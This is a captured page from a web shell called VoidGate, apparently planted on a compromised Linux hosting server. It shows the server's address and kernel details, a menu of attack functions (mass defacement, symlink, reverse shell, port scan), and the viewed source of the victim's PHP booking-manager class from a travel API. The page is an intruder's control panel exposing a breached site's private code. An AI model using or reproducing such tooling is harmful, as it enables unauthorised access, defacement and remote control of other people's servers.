ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: BookingManager.php
<?php namespace AppBundle\Manager; use Symfony\Component\HttpFoundation\JsonResponse; use AppBundle\Entity\Booking; use AppBundle\Entity\Customer; use AppBundle\Entity\Travel; use Doctrine\ORM\EntityManager; use AppBundle\Manager\TicketManager; use AppBundle\Manager\TravelManager; use AppBundle\Manager\AbstractResourceManager; class BookingManager extends AbstractResourceManager { private $ticketManager; private $travelManager; public function __construct(EntityManager $manager , TicketManager $ticketManager, TravelManager $travelManager) { parent::__construct($manager); $this->ticketManager = $ticketManager; $this->travelManager = $travelManager; } public function createBooking(Travel $travel, Customer $customer,$bookingMaker , $sitNumber) { if( ! $this->travelManager->hasFreeSits($travel)){ return new JsonResponse(['Error' => 'all sits reserved'], JsonResponse::HTTP_FORBIDDEN); } $booking = new Booking(); $booking->setTravel($travel); $booking->setCustomer($customer); if( $bookingMaker) $booking->setBookingMaker($bookingMaker); if( ! $this->travelManager->isBooked($travel, $sitNumber)){ $booking->setSitNumber($sitNumber); }else { return new JsonResponse(['Error' => 'this sit is already booked'], JsonResponse::HTTP_FORBIDDEN); } $booking->setSitNumber($sitNumber); $ticket = $this->ticketManager->createTicket($booking); $booking->setTicket($ticket); $this->manager->persist($booking); $this->manager->persist($ticket); $this->manager->flush(); return $booking; } public function updateBooking(Booking $booking,Travel $_travel, $_sitNumber) { //TODO } public static function isAllowedToReassignTravel(Booking $booking, Travel $_travel, $_sitNumber) { return true; } }
Coded With 💗 by
0x6ick